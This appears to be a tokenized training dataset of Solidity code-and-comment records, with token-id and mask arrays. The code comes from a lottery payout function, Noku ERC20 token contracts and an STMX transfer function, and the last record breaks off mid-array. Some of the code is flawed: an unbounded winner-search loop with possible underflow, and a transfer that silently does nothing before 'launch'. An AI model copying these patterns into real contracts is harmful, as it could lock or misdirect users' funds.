function finalizeContract(uint256 winningNumber) public mManagerOnly {
voteResult = winningNumber;
address[] memory list = users[winningNumber];
address[] memory secondaryList;
uint256 winnersCount = list.length;
if(winnersCount == 0){
// if there is no winner choose closest estimates.
bool loop = true;
uint256 index = 1;
while(loop == true){
list = users[winningNumber-index];
secondaryList = users[winningNumber+index];
winnersCount = list.length + secondaryList.length;
if(winnersCount > 0){
loop = false;
}
else{
index++;
}
}
}
uint256 managerFee = (this.balance/100)*5; // manager fee %5
uint256 reward = (this.balance - managerFee) / winnersCount; // reward for per winner.
winnerPrice = reward;
// set winner list
winners = list;
// transfer eth to winners.
for (uint256 i = 0; i < list.length; i++) {
list[i].transfer(reward);
}
// if anyone guessed the correct percent secondaryList will be empty array.
for (uint256 j = 0; j < secondaryList.length; j++) {
// transfer eth to winners.
secondaryList[j].transfer(reward);
winners.push(secondaryList[j]); // add to winners
}
// transfer fee to manager
manager.transfer(this.balance);
}
} | manager only functions: pause, finalizeContract | modifier mManagerOnly(){
require(msg.sender == manager);
_;
}
| 912,247 | [
1,
4181,
1338,
4186,
30,
11722,
16,
12409,
8924,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
312,
1318,
3386,
1435,
95,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
3301,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.19;
// File: contracts/NokuPricingPlan.sol
/**
* @dev The NokuPricingPlan contract defines the responsibilities of a Noku pricing plan.
*/
interface NokuPricingPlan {
/**
* @dev Pay the fee for the service identified by the specified name.
* The fee amount shall already be approved by the client.
* @param serviceName The name of the target service.
* @param multiplier The multiplier of the base service fee to apply.
* @param client The client of the target service.
* @return true if fee has been paid.
*/
function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid);
/**
* @dev Get the usage fee for the service identified by the specified name.
* The returned fee amount shall be approved before using #payFee method.
* @param serviceName The name of the target service.
* @param multiplier The multiplier of the base service fee to apply.
* @return The amount to approve before really paying such fee.
*/
function usageFee(bytes32 serviceName, uint256 multiplier) public constant returns(uint fee);
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/NokuTokenBurner.sol
contract BurnableERC20 is ERC20 {
function burn(uint256 amount) public returns (bool burned);
}
/**
* @dev The NokuTokenBurner contract has the responsibility to burn the configured fraction of received
* ERC20-compliant tokens and distribute the remainder to the configured wallet.
*/
contract NokuTokenBurner is Pausable {
using SafeMath for uint256;
event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet);
event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage);
// The wallet receiving the unburnt tokens.
address public wallet;
// The percentage of tokens to burn after being received (range [0, 100])
uint256 public burningPercentage;
// The cumulative amount of burnt tokens.
uint256 public burnedTokens;
// The cumulative amount of tokens transferred back to the wallet.
uint256 public transferredTokens;
/**
* @dev Create a new NokuTokenBurner with predefined burning fraction.
* @param _wallet The wallet receiving the unburnt tokens.
*/
function NokuTokenBurner(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
burningPercentage = 100;
LogNokuTokenBurnerCreated(msg.sender, _wallet);
}
/**
* @dev Change the percentage of tokens to burn after being received.
* @param _burningPercentage The percentage of tokens to be burnt.
*/
function setBurningPercentage(uint256 _burningPercentage) public onlyOwner {
require(0 <= _burningPercentage && _burningPercentage <= 100);
require(_burningPercentage != burningPercentage);
burningPercentage = _burningPercentage;
LogBurningPercentageChanged(msg.sender, _burningPercentage);
}
/**
* @dev Called after burnable tokens has been transferred for burning.
* @param _token THe extended ERC20 interface supported by the sent tokens.
* @param _amount The amount of burnable tokens just arrived ready for burning.
*/
function tokenReceived(address _token, uint256 _amount) public whenNotPaused {
require(_token != address(0));
require(_amount > 0);
uint256 amountToBurn = _amount.mul(burningPercentage).div(100);
if (amountToBurn > 0) {
assert(BurnableERC20(_token).burn(amountToBurn));
burnedTokens = burnedTokens.add(amountToBurn);
}
uint256 amountToTransfer = _amount.sub(amountToBurn);
if (amountToTransfer > 0) {
assert(BurnableERC20(_token).transfer(wallet, amountToTransfer));
transferredTokens = transferredTokens.add(amountToTransfer);
}
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
// File: zeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/NokuCustomERC20.sol
/**
* @dev The NokuCustomERC20Token contract is a custom ERC20-compliant token available in the Noku Service Platform (NSP).
* The Noku customer is able to choose the token name, symbol, decimals, initial supply and to administer its lifecycle
* by minting or burning tokens in order to increase or decrease the token supply.
*/
contract NokuCustomERC20 is Ownable, DetailedERC20, MintableToken, BurnableToken {
using SafeMath for uint256;
event LogNokuCustomERC20Created(
address indexed caller,
string indexed name,
string indexed symbol,
uint8 decimals,
address pricingPlan,
address serviceProvider
);
event LogTransferFeePercentageChanged(address indexed caller, uint256 indexed transferFeePercentage);
event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan);
// The entity acting as Custom token service provider i.e. Noku
address public serviceProvider;
// The pricing plan determining the fee to be paid in NOKU tokens by customers for using Noku services
address public pricingPlan;
// The fee percentage for Custom token transfer or zero if transfer is free of charge
uint256 public transferFeePercentage;
bytes32 public constant CUSTOM_ERC20_BURN_SERVICE_NAME = "NokuCustomERC20.burn";
bytes32 public constant CUSTOM_ERC20_MINT_SERVICE_NAME = "NokuCustomERC20.mint";
/**
* @dev Modifier to make a function callable only by service provider i.e. Noku.
*/
modifier onlyServiceProvider() {
require(msg.sender == serviceProvider);
_;
}
function NokuCustomERC20(
string _name,
string _symbol,
uint8 _decimals,
address _pricingPlan,
address _serviceProvider
)
DetailedERC20 (_name, _symbol, _decimals) public
{
require(bytes(_name).length > 0);
require(bytes(_symbol).length > 0);
require(_pricingPlan != 0);
require(_serviceProvider != 0);
pricingPlan = _pricingPlan;
serviceProvider = _serviceProvider;
LogNokuCustomERC20Created(
msg.sender,
_name,
_symbol,
_decimals,
_pricingPlan,
_serviceProvider
);
}
function isCustomToken() public pure returns(bool isCustom) {
return true;
}
/**
* @dev Change the transfer fee percentage to be paid in Custom tokens.
* @param _transferFeePercentage The fee percentage to be paid for transfer in range [0, 100].
*/
function setTransferFeePercentage(uint256 _transferFeePercentage) public onlyOwner {
require(0 <= _transferFeePercentage && _transferFeePercentage <= 100);
require(_transferFeePercentage != transferFeePercentage);
transferFeePercentage = _transferFeePercentage;
LogTransferFeePercentageChanged(msg.sender, _transferFeePercentage);
}
/**
* @dev Change the pricing plan of service fee to be paid in NOKU tokens.
* @param _pricingPlan The pricing plan of NOKU token to be paid, zero means flat subscription.
*/
function setPricingPlan(address _pricingPlan) public onlyServiceProvider {
require(_pricingPlan != 0);
require(_pricingPlan != pricingPlan);
pricingPlan = _pricingPlan;
LogPricingPlanChanged(msg.sender, _pricingPlan);
}
/**
* @dev Get the fee to be paid for the transfer of NOKU tokens.
* @param _value The amount of NOKU tokens to be transferred.
*/
function transferFee(uint256 _value) public view returns (uint256 usageFee) {
return _value.mul(transferFeePercentage).div(100);
}
/**
* @dev Override #transfer for optionally paying fee to Custom token owner.
*/
function transfer(address _to, uint256 _value) public returns (bool transferred) {
if (transferFeePercentage == 0) {
return super.transfer(_to, _value);
}
else {
uint256 usageFee = transferFee(_value);
uint256 netValue = _value.sub(usageFee);
bool feeTransferred = super.transfer(owner, usageFee);
bool netValueTransferred = super.transfer(_to, netValue);
return feeTransferred && netValueTransferred;
}
}
/**
* @dev Override #transferFrom for optionally paying fee to Custom token owner.
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool transferred) {
if (transferFeePercentage == 0) {
return super.transferFrom(_from, _to, _value);
}
else {
uint256 usageFee = transferFee(_value);
uint256 netValue = _value.sub(usageFee);
bool feeTransferred = super.transferFrom(_from, owner, usageFee);
bool netValueTransferred = super.transferFrom(_from, _to, netValue);
return feeTransferred && netValueTransferred;
}
}
/**
* @dev Burn a specific amount of tokens, paying the service fee.
* @param _amount The amount of token to be burned.
*/
function burn(uint256 _amount) public {
require(_amount > 0);
super.burn(_amount);
assert(NokuPricingPlan(pricingPlan).payFee(CUSTOM_ERC20_BURN_SERVICE_NAME, _amount, msg.sender));
}
/**
* @dev Mint a specific amount of tokens, paying the service fee.
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool minted) {
require(_to != 0);
require(_amount > 0);
super.mint(_to, _amount);
assert(NokuPricingPlan(pricingPlan).payFee(CUSTOM_ERC20_MINT_SERVICE_NAME, _amount, msg.sender));
return true;
}
}
// File: contracts/NokuCustomERC20Service.sol
/**
* @dev The NokuCustomERC2Service contract .
*/
contract NokuCustomERC20Service is Pausable {
event LogNokuCustomERC20ServiceCreated(address caller, address indexed pricingPlan);
event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan);
// The pricing plan determining the fee to be paid in NOKU tokens by customers for using Noku services
address public pricingPlan;
bytes32 public constant CUSTOM_ERC20_CREATE_SERVICE_NAME = "NokuCustomERC20.create";
function NokuCustomERC20Service(address _pricingPlan) public {
require(_pricingPlan != 0);
pricingPlan = _pricingPlan;
LogNokuCustomERC20ServiceCreated(msg.sender, _pricingPlan);
}
function setPricingPlan(address _pricingPlan) public onlyOwner {
require(_pricingPlan != 0);
require(_pricingPlan != pricingPlan);
pricingPlan = _pricingPlan;
LogPricingPlanChanged(msg.sender, _pricingPlan);
}
function createCustomToken(string _name, string _symbol, uint8 _decimals)
public returns(address customTokenAddress)
{
NokuCustomERC20 customToken = new NokuCustomERC20(_name, _symbol, _decimals, pricingPlan, owner);
// Transfer NokuCustomERC20 ownership to the client
customToken.transferOwnership(msg.sender);
NokuPricingPlan(pricingPlan).payFee(CUSTOM_ERC20_CREATE_SERVICE_NAME, 1, msg.sender);
return address(customToken);
}
} | * @dev Create a new NokuTokenBurner with predefined burning fraction. @param _wallet The wallet receiving the unburnt tokens./ | function NokuTokenBurner(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
burningPercentage = 100;
LogNokuTokenBurnerCreated(msg.sender, _wallet);
}
| 1,638,176 | [
1,
1684,
279,
394,
423,
20924,
1345,
38,
321,
264,
598,
19555,
18305,
310,
8330,
18,
225,
389,
19177,
1021,
9230,
15847,
326,
640,
70,
321,
88,
2430,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
423,
20924,
1345,
38,
321,
264,
12,
2867,
389,
19177,
13,
1071,
288,
203,
3639,
2583,
24899,
19177,
480,
1758,
12,
20,
10019,
203,
540,
203,
3639,
9230,
273,
389,
19177,
31,
203,
3639,
18305,
310,
16397,
273,
2130,
31,
203,
203,
3639,
1827,
50,
20924,
1345,
38,
321,
264,
6119,
12,
3576,
18,
15330,
16,
389,
19177,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xF2FacB9469A37A83aaD255576fFEE2801B4a56b1/sources/STMX.sol | * @dev Moves `amount` of tokens from `from` to `to`. This internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `from` must have a balance of at least `amount`./ | function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (launch) {
uint256 fromBalance = _balances[from];
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_beforeTokenTransfer(from, amount);
burnFee(from, to, amount);
}
}
| 3,120,092 | [
1,
19297,
1375,
8949,
68,
434,
2430,
628,
1375,
2080,
68,
358,
1375,
869,
8338,
1220,
2713,
445,
353,
7680,
358,
288,
13866,
5779,
471,
848,
506,
1399,
358,
425,
18,
75,
18,
2348,
5859,
1147,
1656,
281,
16,
9026,
310,
1791,
28757,
16,
5527,
18,
7377,
1282,
279,
288,
5912,
97,
871,
18,
29076,
30,
300,
1375,
2080,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
869,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
2080,
68,
1297,
1240,
279,
11013,
434,
622,
4520,
1375,
8949,
8338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
13866,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
2713,
5024,
288,
203,
3639,
2583,
12,
2080,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
628,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
869,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
358,
326,
3634,
1758,
8863,
203,
203,
3639,
309,
261,
20738,
13,
288,
203,
5411,
2254,
5034,
628,
13937,
273,
389,
70,
26488,
63,
2080,
15533,
203,
5411,
2583,
12,
203,
7734,
628,
13937,
1545,
3844,
16,
203,
7734,
315,
654,
39,
3462,
30,
7412,
3844,
14399,
11013,
6,
203,
5411,
11272,
203,
5411,
22893,
288,
203,
7734,
389,
70,
26488,
63,
2080,
65,
273,
628,
13937,
300,
3844,
31,
203,
5411,
289,
203,
5411,
389,
70,
26488,
63,
869,
65,
1011,
3844,
31,
203,
203,
5411,
